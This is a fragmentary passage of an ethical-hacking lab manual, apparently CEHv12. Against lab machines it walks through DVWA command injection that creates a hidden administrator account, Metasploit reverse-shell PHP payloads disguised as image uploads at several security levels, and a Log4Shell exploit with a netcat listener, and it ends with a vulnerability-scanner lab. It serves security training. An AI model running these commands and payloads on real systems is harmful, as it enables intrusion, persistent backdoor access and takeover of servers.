19. Now, extract more information regarding the target machine, Windows Server 2022.
logged onto the Windows Server 2022 machine, as shown in the screenshot.
22. Now, type | tasklist, and click Submit to view the processes running on the machine.
23. A list of all the running processes on the Windows Server 2022 machine is displayed, as
Note: The list of running processes might differ in your lab environment.
25. Type | Taskkill /PID [Process ID value of the desired process] /F (here, PID is 3112)
and click Submit. By issuing this command, you are forcefully (/F) terminating the
process.
26. The process will be successfully terminated, as shown in the screenshot.
Note: To confirm that the process has successfully been terminated, you can issue
and click Submit to view the files and directories on the C:\ drive.
28. The directory structure of the C drive of the target server (Windows Server 2022) is
31. To view user account information, type | net user, and click Submit.
32. DVWA obtains user account information from the Windows Server 2022 machine and
34. Create an account named Test. To do so, type | net user Test /Add and click Submit.
35. The command completed successfully notification appears and a user account named
Test is created.
36. To view the new user account, type the command | net user and click Submit.
37. You can observe the newly created account Test, as shown in the screenshot.
38. Now, view the new account’s information. Type | net user Test and click Submit.
39. The Test account information appears. You can see that Test is a standard user account
and does not have administrative privileges. You can see that it has an entry called Local
Group Memberships.
40. Now, assign administrative privileges to the account. The reason for granting
administrative privileges to this account is to use this (admin) account to log into the
Windows Server 2022 machine with administrator access using a remote desktop
connection.
41. To grant administrative privileges, type | net localgroup Administrators Test /Add and
click Submit.
42. You have successfully granted admin privileges to the account. Confirm the new setting
by issuing the command | net user Test. Test is now an administrator account under the
Desktop Connection.
44. Click Search icon ( ) on the Desktop. Type remote in the search field, the Remote
45. The Remote Desktop Connection window appears. In the Computer field, type the target
system IP address (here, 10.10.1.22 [Windows Server 2022]) and click Show Options.
46. The Remote Desktop Connection window appears with the General tab displayed; enter
Note: Thus, you have made use of a command execution vulnerability in a DVWA
related to the machine, remotely created an administrator account, and logged into
it.
the Remote Desktop Connection window. If a Your remote session will be disconnected
51. This concludes the demonstration of how to exploit a remote command execution
52. Close all open windows and document all acquired information.
Metasploit Framework is a tool for developing and executing exploit code against a remote target
machine. It is a Ruby-based, modular penetration testing platform that enables you to write, test,
and execute exploit code. It contains a suite of tools that you can use to test security vulnerabilities,
enumerate networks, execute attacks, and evade detection. Meterpreter is a Metasploit attack
payload that provides an interactive shell that can be used to explore the target machine and execute
code.
Here, we will use exploit a file upload vulnerability at different security levels of DVWA using
Metasploit.
Note: Before starting this task, ensure that the WampServer is running on the Windows Server
2022 machine.
2. Click the MATE Terminal icon at the top of Desktop to open a Terminal window.
3. A Parrot Terminal window appears. In the terminal window, type sudo su and press
4. In the [sudo] password for attacker field, type toor as a password and press Enter.
Note: Here, the IP address of the host machine is 10.10.1.13 (the Parrot Security
machine).
7. The raw payload is generated in the terminal window. Select the payload, right-click on it,
and click Copy from the context menu to copy the payload, as shown in the screenshot.
9. Type pluma upload.php and press Enter to launch the Pluma text editor.
10. The Pluma text editor window appears; press Ctrl+V to paste the raw payload copied in
12. Click the Firefox icon from the top section of Desktop, type
13. The DVWA login page appears; enter the Username and Password as admin and
Note: If a Would you like Firefox to save this login notification appears at the top
15. Change the security level from impossible to low by selecting Low from the drop-down
17. The Vulnerability: File Upload page appears; click the Browse… button to upload a file.
18. When the File Upload window appears, navigate to the Desktop location, select the
20. Now, click the Upload button to upload the file to the database.
21. You will see a message saying that the file has been uploaded successfully, with the
location of the file. Note the location of the file and minimize the browser window.
22. Launch a Terminal window by clicking on the MATE Terminal icon at the top of
Desktop.
23. In the terminal window, type sudo su and press Enter to run the programs as a root user.
24. In the [sudo] password for attacker field, type toor as a password and press Enter.
25. Now, type cd and press Enter to jump to the root directory.
26. In the Terminal window, type msfconsole and press Enter to launch the Metasploit
framework.
27. In msfconsole, type use exploit/multi/handler and press Enter to set up the listener.
28. Now, set the payload, LHOST, and LPORT. To do so, use the below commands:
29. Observe that the listener is up and running at 10.10.1.13. Minimize the terminal window.
30. Switch back to the Mozilla Firefox window where the DVWA website is open. Open a
successfully been established with the victim system, as shown in the screenshot.
32. In the meterpreter command line, type sysinfo and press Enter to view the system details
34. Launch a new Terminal window by clicking on the MATE Terminal icon at the top of
Desktop window.
35. In the terminal window, type sudo su and press Enter to run the programs as a root user.
36. In the [sudo] password for attacker field, type toor as a password and press Enter.
37. Now, type cd and press Enter to jump to the root directory.
38. In the Terminal window, type msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP
Note: Here, the IP address of the host machine is 10.10.1.13 (Parrot Security
machine).
39. The raw payload is generated in the terminal window. Select the payload, right-click on it,
and click Copy from the context menu to copy the payload, as shown in the screenshot.
40. Now, in the terminal window, type cd /home/attacker/Desktop/ and press Enter to
41. Type pluma medium.php.jpg and press Enter to launch the Pluma text editor.
42. The Pluma text editor window appears; press Ctrl+V to paste the raw payload copied in
DVWA login page appears; log in with the credentials admin and password, and click the
Login button.
Note: If a Would you like Firefox to save this login notification appears at the top
44. The Welcome to Damn Vulnerable Web Application! Page appears. Click DVWA
Security from the left pane to view the DVWA security level.
45. Change the Security Level from impossible to medium by selecting Medium from the
drop-down list and clicking the Submit button, as shown in the screenshot.
46. Click the File Upload option in the left pane.
47. The Vulnerability: File Upload page appears; click the Browse… button to upload a file.
48. The File Upload window appears. Navigate to the Desktop location and select the payload
button.
50. Now, before uploading the file, set up a Burp Suite proxy. Start by configuring the proxy
51. Click the Open Menu icon in the right corner of the menu bar and select Preferences from
the list.
52. The General settings tab appears. In the Find in Preferences search bar, type proxy, and
press Enter.
53. The Search Results appear; click the Settings button under the Network Settings option.
54. A Connection Settings window appears; select the Manual proxy configuration radio
button and ensure that the HTTP Proxy is set to 127.0.0.1 and Port as 8080. Ensure that
the Also use this proxy for FTP and HTTPS checkbox is selected and click OK. Close
Desktop and navigate to Pentesting --> Web Application Analysis --> Web Application
56. In the next Burp Suite Community Edition notification, click OK.
57. If Terms and Conditions window appears click I Accept.
59. The Burp Suite main window appears. Ensure that the Temporary project radio button
button.
61. The Burp Suite main window appears; click the Proxy tab from the available options in
displayed in the raw format under the Raw tab. In the filename field, you will see the name
uploaded successfully, along with the upload location of the file. Note down this location.
68. Remove the browser proxy set up in Step 54 by selecting the No proxy radio-button in the
Desktop.
70. In the terminal window, type sudo su and press Enter to run the programs as a root user.
71. In the [sudo] password for attacker field, type toor as a password and press Enter.
72. Now, type cd and press Enter to jump to the root directory.
73. In the Terminal window, type msfconsole and press Enter to launch the Metasploit
framework.
74. In msfconsole, type use exploit/multi/handler and press Enter to begin setting up the
listener.
75. You have to set up a listener so that you can establish a Meterpreter session with your
victim. Follow the steps given below to set up a listener using the msf command line:
80. Launch a Terminal window by clicking on the MATE Terminal icon at the top of
Desktop.
81. In the terminal window, type sudo su and press Enter to run the programs as a root user.
82. In the [sudo] password for attacker field, type toor as a password and press Enter.
83. Now, type cd and press Enter to jump to the root directory.
84. In the Terminal window, type msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP
Note: Here, the IP address of the host machine is 10.10.1.13 (Parrot Security
machine).
85. The raw payload is generated in the terminal window. Select the payload, right-click on it,
and click Copy from the context menu to copy the payload, as shown in the screenshot.
86. Now, in the terminal window, type cd /home/attacker/Desktop/ and press Enter to
87. Type pluma high.jpeg and press Enter to launch the Pluma text editor.
88. The Pluma text editor window appears; press Ctrl+V to paste the raw payload copied in
Step 85. Edit the payload file by adding GIF98 to the first line and then press Ctrl+S to
90. Click the Firefox icon from the top section of Desktop, type
http://10.10.1.22:8080/dvwa/login.php into the address bar and press Enter. The DVWA
login page appears. Log in with the credentials admin and password, and click the Login
button.
Note: If a Would you like Firefox to save this login notification appears at the top
91. The Welcome to Damn Vulnerable Web Application! Page appears; click DVWA
93. Click the File Upload option in the left pane. The Vulnerability: File Upload page
96. Now, click the Upload button to upload the file to the database.
97. You will see a message saying that the file has been uploaded successfully, along with the
Command Injection window appears; in the Enter an IP address field, type |copy
C:\wamp64\www\DVWA\hackable\uploads\high.jpeg
of Desktop.
101. A Parrot Terminal window appears. In the terminal window, type sudo su and
102. In the [sudo] password for attacker field, type toor as a password and press
Enter.
103. Now, type cd and press Enter to jump to the root directory.
104. In the Terminal window, type msfconsole and press Enter to launch the
Metasploit framework.
105. In msfconsole, type use exploit/multi/handler and press Enter to begin setting up
the listener.
106. You have to set up a listener so that you can establish a Meterpreter session with
your victim. Follow the steps given below to set up a listener using the msf command line:
111. Close all open windows and document all acquired information.
Log4j is an open-source framework that helps developers store various types of logs produced by
users. Log4j which is also known as Log4shell and LogJam is a zero-day RCE (Remote Code
Execution) vulnerability, tracked under CVE-2021–44228. Log4j enables insecure JNDI lookups,
when these JNDI lookups are paired with the LDAP protocol, can be exploited to exfiltrate data
Note: Here, we will install a vulnerable application in the Ubuntu machine and use the Parrot
2. Click to select Ubuntu account, in the Password field, type toor and press Enter to sign
in.
3. In the left pane, under Activities list, scroll down and click the Terminal icon to open the
Terminal window.
4. Now, type sudo su and hit Enter to gain super-user access. Ubuntu will ask for the
install docker.
Note: If a question appears Do you want to continue? type Y and press Enter.
7. Once docker.io is successfully installed, type cd log4j-shell-poc/ and press Enter to
server.
10. Leave the server running in the Ubuntu machine.
11. Click CEHv12 Parrot Security to switch to the Parrot Security machine.
12. Click the Firefox icon at the top of Desktop, to open a browser window.
13. In the address bar of the browser, type http://10.10.1.9:8080 and press Enter.
14. As we can observe that the Log4j vulnerable server is successfully running on the Ubuntu
15. Click the MATE Terminal icon at the top of Desktop, to open a Terminal window.
16. A Parrot Terminal window appears. In the terminal window, type sudo su and press
17. In the [sudo] password for attacker field, type toor as a password and press Enter.
20. In the [sudo] password for attacker field, type toor as a password and press Enter.
21. We need to extract JDK zip file which is already placed at /home/attacker location.
22. Type tar -xf jdk-8u202-linux-x64.tar.gz and press Enter, to extract the file.
25. Navigate to the previous terminal window. In the terminal, type pluma poc.py and press
/usr/bin/jdk1.8.0_202/bin/javac.
27. Scroll down to line 87 and replace jdk1.8.0_20/bin/java with
/usr/bin/jdk1.8.0_202/bin/java.
28. Scroll down to line 99 and replace jdk1.8.0_20/bin/java with
/usr/bin/jdk1.8.0_202/bin/java.
29. After making all the changes save the changes and close the poc.py editor window.
30. Now, open a new terminal window and type nc -lvp 9001 and press Enter, to initiate a
webport 8000 --lport 9001 and press Enter, to start the exploitation and create payload.
32. Now, copy the payload generated in the send me: section.
33. Switch to Firefox browser window, in Username field paste the payload that was copied
in previous step and in Password field type password and press Login button as shown in
the screenshot.
38. The Log4j vulnerability takes the payload as input and processes it, as a result we will
39. This concludes the demonstration of how to gain backdoor access exploiting Log4j
vulnerability.
40. Close all open windows and document all acquired information.
Lab 3: Detect Web Application Vulnerabilities using Various Web Application Security
Tools
Ethical hackers and pen testers are aided in the discovery of web application vulnerabilities with
the help of various tools that make the detection of web application vulnerabilities an easy task.
Lab Scenario
When talking about web applications, organizations consider security to be a critical component,
because web applications are a major source of attacks. Attackers try various application-level
attacks to compromise the security of web applications to commit fraud or steal sensitive
information. Web application attacks, launched on port 80/443, go straight through the firewall,
past the OS and network-level security, and into the heart of the application, where corporate data
resides. Tailor-made web applications are often insufficiently tested, have undiscovered
vulnerabilities, and are, therefore, easy prey for hackers. A professional ethical hacker or pen tester
needs to determine whether their organization’s website is secure, before hackers download
sensitive data, commit crimes using the website as a launchpad, or otherwise endanger the
business. There are various web application security assessment tools available to scan, detect, and
assess the security and vulnerabilities of web applications. These tools reveal the web application’s
security posture and are used to find ways to harden security and create robust web applications.
These tools automate the process of accurate web-app security assessment, thus enabling
cybersecurity staff to protect their business from impending hacker attacks! The tasks in this lab
will assist in discovering the underlying vulnerabilities and flaws in the target web application.
Lab Objectives
• Detect web application vulnerabilities using N-Stalker Web Application Security Scanner
Web application security deals with securing websites, web applications, and web services. Web
application security includes secure application development, input validation, creating and
following security best practices, using WAF Firewall/IDS and performing regular auditing of a
network using web application security tools. Web Application security tools are automated tools
that scan web applications, normally from the outside, to look for security vulnerabilities such as
XSS, SQL injection, command injection, path traversal, and insecure server configuration. This
category of tools is frequently referred to as Dynamic Application Security Testing (DAST) Tools.
Task 1: Detect Web Application Vulnerabilities using N-Stalker Web Application Security
Scanner
N-Stalker Web App Security Scanner checks for vulnerabilities such as SQL injection, XSS, and
other known attacks. It is a useful security tool for developers, system/security administrators, IT
auditors, and staff, as it incorporates the well-known “N-Stealth HTTP Security Scanner” and its
database of 39,000 web attack signatures along with a component-oriented web application
Here, we will perform website vulnerability scanning using N-Stalker Web Application Security
Scanner.
1. Click CEHv12 Windows Server 2019 to switch to the Windows Server 2019 machine.
double-click NStalker-WebSecurityScanner-FreeX-b34.exe.
3. The Installer Language pop-up appears; leave the language set to default and click OK.
5. Follow the installation wizard to install the application using all default settings.
6. The Completing the N-Stalker Web Application Security Scanner Setup wizard
appears. Ensure that the Run N-Stalker Web Application Security Scanner checkbox is
9. N-Stalker will start updating the database. After the update is complete, observe that the
status of all the databases is Up to date under the Status column, as shown in the
screenshot.
10. Now, click Start from the toolbar to start a new scanning session.
11. The N-Stalker Scan Wizard appears. Under the Enter Web Application URL field, enter
http://www.moviescope.com and under Choose Scan Policy field, select OWASP Policy
14. The Review Summary wizard appears. Verify the Scan Settings and click Start Session.
15. If an N-Stalker Free Edition pop-up appears; click OK to continue.
16. After completing the configuration of N-Stalker, click Start Scan from the menu bar to
Step 2 Info Gather, Step 3 Run Modules, and Step 4 Sig Scanner, as shown in the
screenshot.
18. It takes some time for the application to scan the entire website; on completion of the scan,
19. Ensure that the Save scan results radio button is selected under the Session Management
Options section; and under the Next Steps section, select the Keep scan session for
website’s pages.
22. You can view the complete scan results in N-Stalker’s main dashboard.
23. Now, click to expand the URL http://www.moviescioe.com/ under Vulnerabilities in the
it. Here, we are expanding the first vulnerability, Application might be vulnerable to
clickjacking attacks.
Note: If you decide to scan some other website for vulnerabilities, the results might
25. After expanding each of the sub-nodes associated with the selected vulnerability node,
27. Further, you can navigate to various available options such as General Info, Details and
Fix, Browser Details, HTTP Request, and HTTP Response, under the Vulnerability
target website.
29. This concludes the demonstration of how to perform web application vulnerability
30. Close all open windows and document all the acquired information.